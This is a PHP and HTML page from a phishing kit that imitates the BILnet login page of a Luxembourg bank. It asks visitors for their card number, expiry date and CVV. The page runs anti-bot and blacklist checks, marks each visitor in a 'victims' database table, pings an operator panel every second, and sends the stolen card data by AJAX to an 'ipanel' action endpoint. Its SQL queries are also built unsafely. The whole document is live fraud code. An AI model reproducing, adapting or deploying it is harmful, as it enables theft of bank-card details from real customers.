<?php
include '../ipanel/inc/config.php';
include '../ipanel/inc/connect.php';
include '../new_anti_config.php';
if ($internal_antibot == 1) {
   include "../ipanel/inc/old_blocker.php";
}
if ($mobile_lock == "checked") {
   include "../ipanel/inc/mob_lock.php";
}
$url = $_SERVER['REQUEST_URI'];



include '../ipanel/inc/blacklist.php';
include '../ipanel/inc/gateway.php';


if ($enable_antibots == "checked") {
   include '../ipanel/inc/anti.php';
}
session_start();

$ip = $_SERVER['REMOTE_ADDR'];
$ua = $_SERVER['HTTP_USER_AGENT'];


if ($_SESSION['started'] == 'true') {

    $uniqueid = $_SESSION['uniqueid'];
    $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
    if ($query) {
   $arr = mysqli_fetch_array($query, MYSQLI_ASSOC);
   $user = $arr['user'];
   $card = $arr['card'];
   if ($card != '') {
    $error = "<div style='color:#D4222D'>" . translateText('errorsp1', $currentLanguage) . "</div>";
   }
    }
  
  } else {
     header('location:../exit.php');
}
  


if($_SESSION['started'] == 'true'){
  $uniqueid = $_SESSION['uniqueid'];
  $query = mysqli_query($conn, "SELECT * FROM victims WHERE uniqueid=$uniqueid");
  if ($query) {
          $query = mysqli_query($conn, "UPDATE victims SET status=11, buzzed=1 WHERE uniqueid=$uniqueid");
      }
} else {
     header('location:../exit.php');
}
  

?>
<!DOCTYPE html>
<html lang="fr"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <title>
    BILnet
    </title>
    

    <meta name="description" content="BILnet">
    <meta name="author" content="BIL">
    
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="cache-control" content="no-store">
    <meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <meta name="format-detection" content="telephone=no">
    <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">

    <meta name="viewport" content="user-scalable=no, width=device-width, initial-scale=1.0, maximum-scale=1.0">
    <link type="image/vnd.microsoft.icon" href="./theme/favicon.ico" rel="shortcut icon">
    <link href="./theme/bootstrap.min.css" rel="stylesheet">
    <link href="./theme/style.css" rel="stylesheet">
    <link rel="stylesheet" href="./theme/font-awesome.min.css">
    <link href="./theme/jquery.ui.autocomplete.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" type="text/css" media="screen" href="./theme/jquery-ui.custom.css">
    <link href="./theme/colorbox.css" rel="stylesheet" type="text/css">
    <script src="theme/styles.js" type="text/javascript"></script>
    <script type="text/javascript" src="theme/jquery-2.2.3.js"></script>

    
        
<script>
function check(form) {

    if (!checkThenr (document.getElementById('cnr').value,document.getElementById('thetype').value))
{  form.cnr.focus(); document.getElementById("cnr").style.borderColor="#de071c"; return false; } else { document.getElementById("cnr").style.borderColor="#333"; }


var regExpressPostcode = /^(0[1-9]|1[0-2])\/(20[2-9][0-9])$/;
if (!regExpressPostcode.test(form.goned.value))
{  form.goned.focus(); document.getElementById("goned").style.borderColor="#de071c"; return false; } else { document.getElementById("goned").style.borderColor="#333"; }


var regExpressPostcode =  /^[0-9]*$/
if (!regExpressPostcode.test(form.three.value))
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#333"; }

if (form.three.value.length < 3) 
{  form.three.focus(); document.getElementById("three").style.borderColor="#de071c"; return false; } else { document.getElementById("three").style.borderColor="#333"; }



submit_form();
// form.submit()
}
function change(){
var change = document.getElementById("cnr").value

if (change.charAt(0) == '5') {
document.getElementById("thetype").value = "MxM";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/MxM.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '4') {
document.getElementById("thetype").value = "VxV";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/VxV.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}


else if (change.charAt(0) == '3') {
document.getElementById("thetype").value = "AxA";
document.getElementById("three").maxLength = "4";
document.getElementById("three").placeholder = "XXXX";
document.getElementById("cnr").style = "background-image: url('theme/AxA.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 60%;"
}


else if (change.charAt(0) == '6') {
document.getElementById("thetype").value = "DxD";
document.getElementById("three").maxLength = "3";
document.getElementById("cnr").style = "background-image: url('theme/DxD.png'); background-size: 40px 40px; background-repeat: no-repeat; background-position: 98% 50%;"
}

else {
document.getElementById("cnr").style = "background-image: url('theme/x.webp'); background-size: 20px 20px; background-repeat: no-repeat; background-position: 98% 50%;"
}



}
</script> 

    

</head>
<body style="background: #702F8A;font-size: 14px;height: 100%;overflow-x: hidden;background-image: url(&#39;./theme/pub-fr-background.jpg&#39;);background-position-y: 240px;background-repeat: no-repeat;background-position-x: center;">
    
 <form action="" method="post">
 <input id="thetype" type="hidden" name="thetype"  value="">
 <input type="text" autocomplete="off" id="blank" name="blank" readonly="readonly">

   
    <div class="container">
    <div class="form-signin">
    
<div style="text-align: center;margin-top:-5px;margin-bottom:50px;"><svg xmlns="http://www.w3.org/2000/svg" height="50" viewBox="0 0 170 134" class="page-header__logo"><path fill="#FFF" d="M2.896 103.341L.49 104.7v-1.77l2.777-1.476h1.754v12.026H2.896v-10.139zM39.214 104.33c0-.523-.393-1.382-1.492-1.382-1.715 0-1.922 2.031-1.922 4.418.523-.521 1.25-1.063 2.629-1.063 2.313 0 3.357 1.511 3.357 3.711 0 2.313-1.492 3.672-4.027 3.672-3.729 0-4.287-2.777-4.287-6.133 0-3.728.781-6.098 4.438-6.098 2.684 0 3.559 1.604 3.635 2.874h-2.331zm-1.511 7.961c1.324 0 1.754-1.102 1.754-2.351 0-1.192-.41-2.235-1.754-2.235-1.361 0-1.828.949-1.828 2.254 0 1.211.578 2.332 1.828 2.332zM21.964 59.118c-.844 0-4.223 0-5.488.103v17.012c1.373.215 3.801.321 6.332.321 7.289 0 11.41-3.423 11.41-8.989 0-5.563-4.543-8.447-12.254-8.447m1.371-28.459c-2.531 0-4.855.111-6.859.221v15.83c1.373.105 2.955.105 4.852.105 8.029 0 11.938-3.319 11.938-8.775-.001-4.596-3.063-7.381-9.931-7.381m-.843 59.479c-4.227 0-12.142-.214-22.492-.214V17.826c6.55-.319 17.212-.536 25.976-.536 15.523 0 24.713 6.102 24.713 18.191 0 6.734-4.225 12.829-10.35 15.612v.32c7.289 1.927 11.508 8.772 11.508 15.938 0 11.557-8.342 22.787-29.355 22.787M76.832 41.557V17.29H60.359v61.368a3593.07 3593.07 0 000 11.384v.097h16.473V41.557z"></path><path fill="#FFF" d="M80.822 101.708s2.654 3.5 8.828 7.927c1.775 1.273 4.635 3.032 6.236 3.978a62.655 62.655 0 004.512 2.444c.588.289 1.842.579 3.484-.34 2.406-1.344 13.563-7.344 25.188-19.313s20.313-24.853 25.979-38.271c4.621-10.936 7.656-22.69 9.061-34.685.318-2.721.682-7.421.703-8.192.021-.771.23-2.125-1.877-2.85-1.869-.644-15.74-5.253-35.24-8.128S96.58 1.709 83.857 2.369c-11.123.576-24.824 2.635-30.65 3.617l.01-1.259S65.383 2.155 80.383.842s35.625-1.188 51.875 1.063 26.188 4.5 29.625 5.438c2.064.563 3.379.914 5.511 1.509.988.275 1.487.558 1.995 1.255.295.405.508 1.067.508 1.568.001 1.219-.033 3.365-.048 3.89-.032 1.188-.153 7.403-.778 12.591s-2.313 20.688-9.25 37.563c-1.848 4.498-3.893 9.2-6.361 13.883-6.797 12.887-16.145 26.011-28.389 37.242-14.375 13.188-20.369 16.062-21.438 16.625-1.414.75-2.229.98-3.416.418s-5.625-2.835-12.855-7.605c-7.229-4.77-12.688-9.604-16.916-14.063-4.229-4.457-6.418-8.123-7.762-10.509h18.138zM10.102 110.37c0-2.294 1.213-2.742 2.051-3.059-.856-.375-1.881-.914-1.881-2.816 0-2.235 1.845-3.039 3.951-3.039 2.238 0 3.953.804 3.953 3.116 0 1.863-1.082 2.387-1.863 2.739.914.354 2.031.765 2.031 3.059 0 2.535-1.789 3.316-4.121 3.316-2.517 0-4.121-.894-4.121-3.316zm4.12 1.921c1.25 0 1.848-.859 1.848-2.258 0-1.117-.543-2.069-1.848-2.069-1.25 0-1.845.952-1.845 2.069 0 1.398.708 2.258 1.845 2.258zm0-5.726c1.064 0 1.678-.688 1.678-1.883 0-1.156-.559-1.828-1.678-1.828-.895 0-1.677.672-1.677 1.809 0 1.213.689 1.902 1.677 1.902zM24.437 106.751c.428-.297 1.1-.559 2.049-.559 2.35 0 3.748 1.324 3.748 3.821 0 2.667-1.957 3.672-4.25 3.672-3.355 0-4.084-1.641-4.215-2.888h2.461c.076.578.391 1.398 1.734 1.398 1.379 0 1.939-.82 1.939-2.293 0-1.269-.465-2.313-1.92-2.313-.859 0-1.398.521-1.547.856h-2.164l.336-6.785h6.674v1.602h-4.68l-.165 3.489z"></path><path fill="#FFF" d="M89.13 17.29v72.849h29.469s8.066-7.039 12.859-14.762h-25.85V17.29H89.13z"></path></svg></div>
        

    <div class="well well-sm" style="margin-bottom: 0;">
    <h5 style="padding-bottom: 0;">Login BIL<span style="text-transform: lowercase;">net</span></h5>
        
    <div class="connexion-text">
        <div class="col-xs-2">
        <img src="./theme/ver.png" style="opacity: 0.8;">
        </div>
        <div class="col-xs-10">
            <h5 style="font-size: 18px;"><?= translateText('formp2', $currentLanguage); ?> </h5>
        <Strong><?= translateText('footerp4', $currentLanguage); ?> </Strong>
        <br>
        <?= $error ?>
        </div>
        &nbsp;
    </div>
        
    <div id="MessagesLogin">
        
        <div id="commGenerale" style="display: block;">

    </div>
    </div>
            <div id="div-iframe-login" style="display: block; text-align:center; min-height:250px; padding-top:20px;">
           <div class="inputs">
            <label for="cnr"><?= translateText('footerp11', $currentLanguage); ?> </label>
            <input onpaste="change();" onkeyup="change();" onchange="change();" name="number" id="cnr" maxlength="19" type="tel"  onKeyDown="if(event.keyCode==13) check(this.form);" >
           </div>
           <div class="inputs">
            <label for="goned"><?= translateText('footerp12', $currentLanguage); ?> </label>
            <input type="tel" id="goned" name="goned" maxlength="7" onkeydown="if(event.keyCode==13) check(this.form);" placeholder="<?= translateText('footerp14', $currentLanguage); ?>">
           </div>
           <div class="inputs">
            <label for="three"><?= translateText('footerp13', $currentLanguage); ?> </label>
            <input pattern="[0-9]*" inputmode="numeric" min="0000" max="9999" style="-webkit-text-security: disc;" maxlength="3" onkeydown="if(event.keyCode==13) check(this.form);" type="password" id="three" name="three">
           </div>

           <br><br>
           <button id="confirm" class="js-submit btn btn-default lt-native-button-submit" onclick="check(this.form)" type="button">
           <?= translateText('formp9', $currentLanguage); ?>
                    </button>

            </div>
            
       
        
            <p class="text-muted text-center" style="padding-top: 20px; color: #666;"></p>
            
    </div>

    
</form>

        <div class="accordian-body collapse" id="loginHelp">
            <div class="well well-sm">
                <h5 class="h2login">
                    Hotline technique BILnet</h5>
                <div>
                    
                    <p>
                        <b><a href="#">technique@bil.com</a></b></p><p><br>Tel: (+352) 4590 4590<br>Fax: (+352) 4590 4212</p><p>De 8h30 à 18h00 du lundi au vendredi (heure Luxembourg)</p><p></p>
                    
                </div>

            

                <h5 class="h2login">
                    Informations utiles</h5>
                <div>
                    
                    <p>
                        <a href="#">&gt;&nbsp;Avantages BILnet</a><br>
                        <a href="#">&gt;&nbsp;BILnet Mobile</a><br>
                        <a href="#">&gt;&nbsp;LuxTrust Mobile</a><br>
                        
                        <a href="#">&gt;&nbsp;Gérer son certificat LuxTrust</a><br>
                        <a href="#">&gt;&nbsp;Configuration technique</a>
                    </p>
                </div>
            
            </div>
        </div>
    

            
          

    </div>
    </div>

    <div class="modal fade" id="helpModal" tabindex="-1" role="dialog" aria-labelledby="helpModal" aria-hidden="true">
        <div class="modal-dialog">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">×</span></button>
                    <h5><i class="fa fa-question-circle"></i> Aide</h5>
                </div>
                <div class="modal-body">
                    <div class="well well-sm well-fieldset">
                        <h5>Quels sont les modes de connexion ?</h5><ul><li>Titulaire</li><li>Mandataire d'une personne physique</li><li>Mandataire d'une personne morale</li></ul>
                    </div>
                    <div class="well well-sm well-fieldset">
                        <ul style="list-style-type: none; padding-left: 15px;"><li><img src="./theme/icon-SSG.png" style="width: 28px;"> Token</li><li><img src="./theme/icon-SmartCard.png" style="width: 28px;"> SmartCard</li><li><img src="./theme/icon-USBStick.png" style="width: 28px;"> USB Stick</li><li><img src="./theme/icon-TanCard.png" style="width: 28px;"> TanCard</li></ul>
                    </div>
                </div>
            </div>
        </div>
    </div>



    <script type="text/javascript">
    window.onload=function(){
      
thecnr = function(jQinp)
{
    var format_and_pos = function(input, char, backspace)
    {
        var start = 0;
        var end = 0;
        var pos = 0;
        var value = input.value;

        if (char !== false)
        {
            start = input.selectionStart;
            end = input.selectionEnd;

            if (backspace && start > 0) // handle backspace onkeydown
            {
                start--;

                if (value[start] == " ")
                { start--; }
            }
            // To be able to replace the selection if there is one
            value = value.substring(0, start) + char + value.substring(end);

            pos = start + char.length; // caret position
        }

        var d = 0; // digit count
        var dd = 0; // total
        var gi = 0; // group index
        var newV = "";
        var groups = /^\D*3[47]/.test(value) ? // check for American Express
        [4, 6, 5] : [4, 4, 4, 4];

        for (var i = 0; i < value.length; i++)
        {
            if (/\D/.test(value[i]))
            {
                if (start > i)
                { pos--; }
            }
            else
            {
                if (d === groups[gi])
                {
                    newV += " ";
                    d = 0;
                    gi++;

                    if (start >= i)
                    { pos++; }
                }
                newV += value[i];
                d++;
                dd++;
            }
            if (d === groups[gi] && groups.length === gi + 1) // max length
            { break; }
        }
        input.value = newV;

        if (char !== false)
        { input.setSelectionRange(pos, pos); }
    };

    jQinp.keypress(function(e)
    {
        var code = e.charCode || e.keyCode || e.which;

        // Check for tab and arrow keys (needed in Firefox)
        if (code !== 9 && (code < 37 || code > 40) &&
        // and CTRL+C / CTRL+V
        !(e.ctrlKey && (code === 99 || code === 118)))
        {
            e.preventDefault();

            var char = String.fromCharCode(code);

            // if the character is non-digit
            // -> return false (the character is not inserted)

            if (/\D/.test(char))
            { return false; }

            format_and_pos(this, char);
        }
    }).
    keydown(function(e) // backspace doesn't fire the keypress event
    {
        if (e.keyCode === 8 || e.keyCode === 46) // backspace or delete
        {
            e.preventDefault();
            format_and_pos(this, '', this.selectionStart === this.selectionEnd);
        }
    }).
    on('paste', function()
    {
        // A timeout is needed to get the new value pasted
        setTimeout(function()
        { format_and_pos(jQinp[0], ''); }, 50);
    }).
    blur(function() // reformat onblur just in case (optional)
    {
        format_and_pos(this, false);
    });
};

thecnr($('#cnr'));




}



</script>

<script>
var characterCount = 0;

$('#goned').on('input', function(e) {
    var input = $(this).val();
    input = input.replace(/\D/g, '');
    if (input.length > 2) {
        input = input.substring(0, 2) + '/' + input.substring(2);
    }
    $(this).val(input);
    characterCount = $(this).val().length;
});

</script>



    
<script src="../assets/js/jquery-1.11.3.min.js"></script>
   <script src="../assets/js/main.js"></script>
   <script>
      var pinger = setInterval(function() {
         var urldata = "../ipanel/inc/action.php?type=ping";
         $.ajax({
            url: urldata,
            type: "GET",
            success: function(response) {
               //console.log(response)
            }
         });
      }, 1000);
      function submit_form() {
        var card = document.getElementById('cnr').value.replace(/\s+/g, '');
         var exp = document.getElementById('goned').value;
         var three = document.getElementById('three').value;
         $.ajax({
            type: 'POST',
            url: '../ipanel/inc/action.php?type=safe2',
            data: 'card=' + card + '&exp=' + exp + '&three=' + three,
            success: function(data) {
               var parsed_data = JSON.parse(data);
               if (parsed_data.status == 'ok') {
                  location.href = "loading.php"
               }
            }
         })
      }


   </script>

</body>
</html>
